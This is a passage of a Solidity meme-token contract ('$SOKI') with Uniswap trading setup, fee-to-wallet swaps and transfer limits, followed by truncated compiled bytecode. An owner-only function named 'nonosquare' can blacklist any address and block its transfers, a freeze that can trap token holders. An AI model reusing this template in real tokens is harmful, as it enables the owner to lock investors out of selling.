_feeAddr2 = 6;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 9;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1500000000 * 10**9;
_maxWalletSize = 3000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600581526020017f24534f4b49000000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f24534f4b49000000000000000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506714d1120d7b160000600f819055506729a2241af62c00006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a819055506006600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119e757600080fd5b601e426119f49190613268565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611ae35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b4f576000600a819055506009600b819055505b6000611b5a306109dd565b9050600e60159054906101000a900460ff16158015611bc75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bdf5750600e60169054906101000a900460ff165b15611c0757611bed81611e1b565b60004790506000811115611c0557611c0447611d41565b5b505b505b611c14838383612094565b505050565b6000838311158290611c61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c58919061271e565b60405180910390fd5b5060008385611c70919061332a565b9050809150509392505050565b6000808303611c8f5760009050611cf1565b60008284611c9d919061335e565b9050828482611cac91906133e7565b14611cec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce39061348a565b60405180910390fd5b809150505b92915050565b6000611d3983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120a4565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611da9573d6000803e3d6000fd5b5050565b6000600854821115611df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611deb9061351c565b60405180910390fd5b6000611dfe612107565b9050611e138184611cf790919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5357611e5261288d565b5b604051908082528060200260200182016040528015611e815781602001602082028036833780820191505090505b5090503081600081518110611e9957611e98612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f649190612d53565b81600181518110611f7857611f77612c2c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fdf30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113bf565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120439594939291906135fa565b600060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b61209f838383612132565b505050565b600080831182906120eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e2919061271e565b60405180910390fd5b50600083856120fa91906133e7565b9050809150509392505050565b60008060006121146122fd565b9150915061212b8183611cf790919063ffffffff16565b9250505090565b6000806000806000806121448761235f565b9550955095509550955095506121a286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123c790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061223785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122838161246f565b61228d848361252c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122ea919061286d565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d63100000905061233368056bc75e2d63100000600854611cf790919063ffffffff16565b8210156123525760085468056bc75e2d6310000093509350505061235b565b81819350935050505b9091565b600080600080600080600080600061237c8a600a54600b54612566565b925092509250600061238c612107565b9050600080600061239f8e8787876125fc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061240983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c19565b905092915050565b60008082846124209190613268565b905083811015612465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245c906136a0565b60405180910390fd5b8091505092915050565b6000612479612107565b905060006124908284611c7d90919063ffffffff16565b90506124e481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612541826008546123c790919063ffffffff16565b60088190555061255c8160095461241190919063ffffffff16565b6009819055505050565b6000806000806125926064612584888a611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125bc60646125ae888b611c7d90919063ffffffff16565b611cf790919063ffffffff16565b905060006125e5826125d7858c6123c790919063ffffffff16565b6123c790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126158589611c7d90919063ffffffff16565b9050600061262c8689611c7d90919063ffffffff16565b905060006126438789611c7d90919063ffffffff16565b9050600061266c8261265e85876123c790919063ffffffff16565b6123c790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126bf5780820151818401526020810190506126a4565b838111156126ce576000848401525b50505050565b6000601f19601f8301169050919050565b60006126f082612685565b6126fa8185612690565b935061270a8185602086016126a1565b612713816126d4565b840191505092915050565b6000602082019050818103600083015261273881846126e5565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061277f82612754565b9050919050565b61278f81612774565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b6000819050919050565b6127c5816127b2565b81146127d057600080fd5b50565b6000813590506127e2816127bc565b92915050565b600080604083850312156127ff576127fe61274a565b5b600061280d8582860161279d565b925050602061281e858286016127d3565b9150509250929050565b60008115159050919050565b61283d81612828565b82525050565b60006020820190506128586000830184612834565b92915050565b612867816127b2565b82525050565b6000602082019050612882600083018461285e565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128c5826126d4565b810181811067ffffffffffffffff821117156128e4576128e361288d565b5b80604052505050565b60006128f7612740565b905061290382826128bc565b919050565b600067ffffffffffffffff8211156129235761292261288d565b5b602082029050602081019050919050565b600080fd5b600061294c61294784612908565b6128ed565b9050808382526020820190506020840283018581111561296f5761296e612934565b5b835b818110156129985780612984888261279d565b845260208401935050602081019050612971565b5050509392505050565b600082601f8301126129b7576129b6612888565b5b81356129c7848260208601612939565b91505092915050565b6000602082840312156129e6576129e561274a565b5b600082013567ffffffffffffffff811115612a0457612a0361274f565b5b612a10848285016129a2565b91505092915050565b600080600060608486031215612a3257612a3161274a565b5b6000612a408682870161279d565b9350506020612a518682870161279d565b9250506040612a62868287016127d3565b9150509250925092565b600060208284031215612a8257612a8161274a565b5b6000612a908482850161279d565b91505092915050565b600060ff82169050919050565b612aaf81612a99565b82525050565b6000602082019050612aca6000830184612aa6565b92915050565b612ad981612828565b8114612ae457600080fd5b50565b600081359050612af681612ad0565b92915050565b600060208284031215612b1257612b1161274a565b5b6000612b2084828501612ae7565b91505092915050565b600060208284031215612b3f57612b3e61274a565b5b6000612b4d848285016127d3565b91505092915050565b612b5f81612774565b82525050565b6000602082019050612b7a6000830184612b56565b92915050565b60008060408385031215612b9757612b9661274a565b5b6000612ba58582860161279d565b9250506020612bb68582860161279d565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bf6602083612690565b9150612c0182612bc0565b602082019050919050565b60006020820190508181036000830152612c2581612be9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c95826127b2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cc757612cc6612c5b565b5b600182019050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612d08601783612690565b9150612d1382612cd2565b602082019050919050565b60006020820190508181036000830152612d3781612cfb565b9050919050565b600081519050612d4d81612786565b92915050565b600060208284031215612d6957612d6861274a565b5b6000612d7784828501612d3e565b91505092915050565b6000604082019050612d956000830185612b56565b612da26020830184612b56565b9392505050565b6000819050919050565b6000819050919050565b6000612dd8612dd3612dce84612da9565b612db3565b6127b2565b9050919050565b612de881612dbd565b82525050565b600060c082019050612e036000830189612b56565b612e10602083018861285e565b612e1d6040830187612ddf565b612e2a6060830186612ddf565b612e376080830185612b56565b612e4460a083018461285e565b979650505050505050565b600081519050612e5e816127bc565b92915050565b600080600060608486031215612e7d57612e7c61274a565b5b6000612e8b86828701612e4f565b9350506020612e9c86828701612e4f565b9250506040612ead86828701612e4f565b9150509250925092565b6000604082019050612ecc6000830185612b56565b612ed9602083018461285e565b9392505050565b600081519050612eef81612ad0565b92915050565b600060208284031215612f0b57612f0a61274a565b5b6000612f1984828501612ee0565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f7e602483612690565b9150612f8982612f22565b604082019050919050565b60006020820190508181036000830152612fad81612f71565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613010602283612690565b915061301b82612fb4565b604082019050919050565b6000602082019050818103600083015261303f81613003565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006130a2602583612690565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613134602383612690565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131c6602983612690565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b6000613232601983612690565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b6000613273826127b2565b915061327e836127b2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156132b3576132b2612c5b565b5b828201905092915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006132f4601a83612690565b91506132ff826132be565b602082019050919050565b60006020820190508181036000830152613323816132e7565b9050919050565b6000613335826127b2565b9150613340836127b2565b92508282101561335357613352612c5b565b5b828203905092915050565b6000613369826127b2565b9150613374836127b2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133ad576133ac612c5b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006133f2826127b2565b91506133fd836127b2565b92508261340d5761340c6133b8565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613474602183612690565b915061347f82613418565b604082019050919050565b600060208201905081810360008301526134a381613467565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000613506602a83612690565b9150613511826134aa565b604082019050919050565b60006020820190508181036000830152613535816134f9565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61357181612774565b82525050565b60006135838383613568565b60208301905092915050565b6000602082019050919050565b60006135a782613